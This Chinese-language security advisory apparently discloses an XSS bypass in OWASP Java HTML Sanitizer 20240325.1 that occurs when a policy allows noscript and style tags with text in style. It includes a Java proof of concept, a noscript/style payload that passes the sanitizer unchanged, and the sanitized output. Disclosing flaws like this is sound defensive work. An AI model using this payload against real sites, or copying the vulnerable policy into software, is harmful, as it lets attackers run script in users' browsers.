漏洞概述
OWASP Java HTML 清理器被披露存在一个跨站脚本漏洞。该漏洞仅在 HtmlPolicyBuilder 同时允许 noscript 标签和 style 标签(并允许 style 标签内包含文本)的特定边缘情况下触发,可能导致跨站脚本攻击。
漏洞详情
当 HtmlPolicyBuilder 允许 noscript 和 style 标签,并通过 .allowTextIn("style") 允许 style 标签内包含文本时,清理器存在漏洞。这是因为浏览器在处理经过清理后的 noscript 和 style 标签时存在特定的解析差异。
概念验证
以下是触发漏洞的 Java 代码示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
public class main {
private static final String ALLOWED_HTML_TAGS = "p, noscript, style";
public static void main(String[] args) {
withAllowedTextAndStyleTag();
}
public static void withAllowedTextAndStyleTag() {
HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder();
PolicyFactory policy = htmlPolicyBuilder
.allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*"))
.allowTextIn("style")
.toFactory();
String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>";
String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>";
System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne));
System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo));
}
}
|
使用最新库版本:
1
2
3
4
5
|
<dependency>
<groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
<artifactId>owasp-java-html-sanitizer</artifactId>
<version>20240325.1</version>
</dependency>
|
漏洞原理
代码输出结果如下:
1
2
3
4
5
|
PAYLOAD: <noscript><style></noscript><script>alert(1)</script>
SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript>
PAYLOAD: <p><style></p><script>alert(1)</script>
SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>
|
清理过程分析
- 对于
noscript 标签的载荷:清理器认为 <style> 标签后的所有内容都是 CSS,因此没有清理其中的 <script> 标签。浏览器解析清理后的输出时,<noscript> 标签被关闭,后续的 <script> 标签被当作有效的 HTML 标签执行,导致 XSS。
- 对于
p 标签的载荷:虽然清理过程类似,但浏览器解析时,<style> 标签后的内容被当作 CSS 处理,因此 <script> 标签未被执行,是安全的。
关键差异在于浏览器对 noscript 标签及其内部 style 标签闭合行为的特殊处理方式,导致恶意脚本逃逸了清理机制。
影响
此漏洞可能导致应用程序遭受跨站脚本攻击,攻击者可利用此漏洞在用户浏览器中执行任意 JavaScript 代码。
参考信息